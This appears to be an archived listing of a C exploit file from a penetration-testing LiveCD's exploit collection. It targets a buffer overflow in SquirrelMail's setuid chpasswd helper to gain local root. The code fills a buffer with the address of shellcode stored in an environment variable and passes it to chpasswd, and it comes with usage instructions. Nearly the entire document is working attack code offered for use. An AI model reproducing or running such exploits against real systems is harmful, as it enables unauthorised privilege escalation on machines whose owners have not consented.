home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / squirrelmail / SPK-chpasswd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  62 lines

  1. /*
  2. ** Squirremail's chpasswd local root exploit bY SpikE <spike_vrm at mail.com>
  3. ** Bug found bY Matias Neiff <matias at neiff.com.ar>
  4. **
  5. ** Usage: Execute setegg before running this exploit
  6. **
  7. */
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <sys/types.h>
  12. #include <sys/wait.h>
  13.  
  14. #define BUFSIZE 200
  15.  
  16. char *Egg;
  17. int EggAddr;
  18. char *chpasswd;
  19.  
  20. void doExploit()
  21. {
  22.  char Buffer[BUFSIZE];
  23.  int *Ptr = (int *)Buffer;
  24.  int i;
  25.  
  26.  fprintf(stdout,"[+] Egg address: %#010x\n",EggAddr);
  27.  
  28.  // Build evil buffer
  29.  for(i=0;i<BUFSIZE-4;i+=4)
  30.   *Ptr++ = EggAddr;
  31.  *Ptr = 0;
  32.  
  33.  // eXplot it!!
  34.  execl(chpasswd,"chpasswd",Buffer,"SPK","HACKED",0);
  35.  
  36.  // If reach here, error
  37.  fprintf(stdout,"[-] %s not found!!!\n",chpasswd);
  38. }
  39.  
  40. int main(int argc, char **argv)
  41. {
  42.  printf("==[ Squirremail's chpasswd local root exploit bY SpikE <spike_vrm@mail.com> ]==\n\n");
  43.  if(argc != 2)
  44.  {
  45.   printf("Usage: %s <chpasswd-full-path>\n\n",argv[0]);
  46.   exit(0);
  47.  }
  48.  chpasswd = argv[1];
  49.  // Get shellcode address
  50.         Egg = getenv("spkEGG");
  51.         EggAddr = (int)&Egg[0];
  52.  
  53.  if(EggAddr == 0)
  54.  {
  55.   printf("[-] spkEGG not found. Run \"setegg\" first.\n");
  56.   exit(-1);
  57.  }
  58.  doExploit();
  59.  
  60.  return(0);
  61. }
  62.